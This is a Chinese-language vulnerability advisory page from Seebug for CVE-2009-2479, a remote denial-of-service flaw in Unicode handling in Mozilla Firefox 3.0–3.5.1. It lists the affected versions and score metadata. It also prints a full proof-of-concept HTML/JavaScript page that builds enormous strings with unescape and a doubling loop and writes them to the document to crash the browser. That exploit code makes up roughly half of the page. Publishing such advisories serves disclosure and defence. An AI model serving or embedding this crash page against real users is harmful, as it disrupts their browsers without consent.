Mozilla Firefox Unicode数据远程拒绝服务漏洞

2009-07-2100:00:00

Root

www.seebug.org

0.062 Low

EPSS

Percentile

93.6%

JSON

Bugraq ID: 35707
CVE ID：CVE-2009-2479
CNCVE ID：CNCVE-20092479

Mozilla Firefox是一款开放源代码的WEB浏览器。
Mozilla Firefox处理unicode数据存在问题，远程攻击者可以利用漏洞使应用程序崩溃。
构建恶意WEB页，诱使用户打开可触发此漏洞。

Mozilla Firefox 3.5.1
Mozilla Firefox 3.5
Mozilla Firefox 3.0.11
Mozilla Firefox 3.0.10
Mozilla Firefox 3.0.9
Mozilla Firefox 3.0.8
Mozilla Firefox 3.0.7
Mozilla Firefox 3.0.6
Mozilla Firefox 3.0.5
Mozilla Firefox 3.0.4
Mozilla Firefox 3.0.3
Mozilla Firefox 3.0.2
Mozilla Firefox 3.0.1
Mozilla Firefox 3.0
目前没有解决方案提供：
http://www.mozilla.com/en-US/


                                                &lt;html&gt;
&lt;head&gt;
&lt;script language=&quot;JavaScript&quot; type=&quot;Text/Javascript&quot;&gt;
 var str = unescape(&quot;%u4141%u4141&quot;);
 var str2 = unescape(&quot;%u0000%u0000&quot;);
 var finalstr2 = mul8(str2, 49000000);
 var finalstr = mul8(str,   21000000);
document.write(finalstr2);
document.write(finalstr);
function mul8 (str, num) {
 var i = Math.ceil(Math.log(num) / Math.LN2),
  res = str;
 do {
  res += res;
 } while (0 &lt; --i);
 return res.slice(0, str.length * num);
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;html&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt;

0.062 Low

EPSS

Percentile

93.6%

JSON

Related for SSV:11848